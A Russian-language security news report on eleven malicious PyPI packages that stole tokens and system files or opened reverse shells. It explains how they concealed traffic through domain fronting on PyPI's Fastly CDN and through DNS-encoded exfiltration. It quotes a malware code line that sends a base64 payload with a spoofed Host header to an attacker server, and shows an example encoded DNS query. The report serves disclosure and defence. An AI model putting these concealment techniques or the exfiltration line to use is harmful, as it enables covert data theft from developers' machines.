04.07.2022

В каталоге PyPI выявлены вредоносные библиотеки, использующие CDN PyPI для скрытия канала связи

В каталоге PyPI (Python Package Index) выявлено 11 пакетов, включающих вредоносный код. До выявления проблем в сумме пакеты успели загрузить около 38 тысяч раз. Выявленные вредоносные пакеты примечательны применением замысловатых способов скрытия каналов связи с серверами злоумышленников.

  • importantpackage (6305 загрузок), important-package (12897) — устанавливали соединение с внешним сервером под видом подключения к pypi.python.org для предоставления shell-доступа к системе (reverse shell) и использовали для скрытия канала связи программу trevorc2.
  • pptest (10001), ipboards (946) — использовали DNS в качестве канала связи для передачи сведений о системе (в первом пакете имя хоста, рабочий каталог, внутренний и внешний IP, в во втором — имя пользователя и хоста).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — выявляли в системе токен сервиса Discord и отправляли на внешний хост.
  • trrfab (287) — отправлял на внешний хост идентификатор, имя хоста и содержимое /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — устанавливал обратное shell-соединение с внешним хостом.
  • yandex-yt (4183) — выводил сообщение о компрометации системы и перенаправлял на страницу с дополнительной информацией о дальнейших действиях, выдаваемой через nda.ya.ru (api.ya.cc).

Отдельного внимания заслуживает метод обращения к внешним хостам, используемый в пакетах importantpackage и important-package, которые использовали для скрытия своей активности сеть доставки контента Fastly, применяемую в каталоге PyPI. Фактически запросы отправлялись на сервер pypi.python.org (в том числе, указывая имя python.org в SNI внутри запроса HTTPS), но при этом в HTTP-заголовок «Host» выставлялось имя сервера, подконтрольного атакующим (sec.forward.io.global.prod.fastly.net). Сеть доставки контента направляла подобный запрос на сервер атакующих, используя при передаче данных параметры TLS-соединения с pypi.python.org.

Работа инфраструктуры PyPI обеспечивается с привлечением сети доставки контента Fastly, в которой для кэширования типовых запросов используется прозрачный прокси Varnish, а также применяется обработка TLS-сертификатов на уровне CDN, а не конечных серверов, для организации проброса HTTPS-запросов через прокси. Независимо от целевого хоста запросы направляются в прокси, который определяет нужный хост по HTTP-заголовку «Host», а доменные имена хостов привязываются к типовым для всех клиентов Fastly IP-адресам балансировщиков нагрузки CDN.

Сервер атакующих также регистрируется в CDN Fastly, который предоставляет всем желающим бесплатные тарифные планы и даже допускает анонимную регистрацию. Примечательно, что для отправки запросов жертве при создании «reverse shell» используется также схема, но инициируемая со стороны хоста злоумышленников. Со стороны взаимодействие с сервером атакующих выглядит как легитимный сеанс с каталогом PyPI, шифруемый с использованием TLS-сертификата PyPI. Подобная техника, известная под именем «domain fronting», ранее активно использовалась для скрытия имени хоста при обходе блокировок, используя предоставляемую в некоторых CDN-сетях возможность обращения по HTTPS с указанием в SNI фиктивного хоста и фактической передачей имени запрашиваемого хоста в HTTP-заголовке Host внутри TLS-сеанса.

Для скрытия вредоносной активности дополнительно применялся пакет TrevorC2, позволяющий сделать взаимодействие с сервером похожим на обычную web-навигацию, например, вредоносные запросы отправлялись под видом загрузки изображения «https://pypi.python.org/images/guid=» с кодированием информации в параметре guid.

 url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

В пакетах pptest и ipboards применялся другой подход для скрытия сетевой активности, основанный на кодировании полезной информации в запросах к DNS-серверу. Вредоносное ПО передаёт информацию, выполняя DNS-запросы вида «nu4timjagq4fimbuhe.example.com», в которых при помощи формата base64 в имени поддомена закодированы передаваемые на управляющий сервер данные. Злоумышленник принимает данные сообщения, контролируя DNS-сервер для домена example.com.

Источник.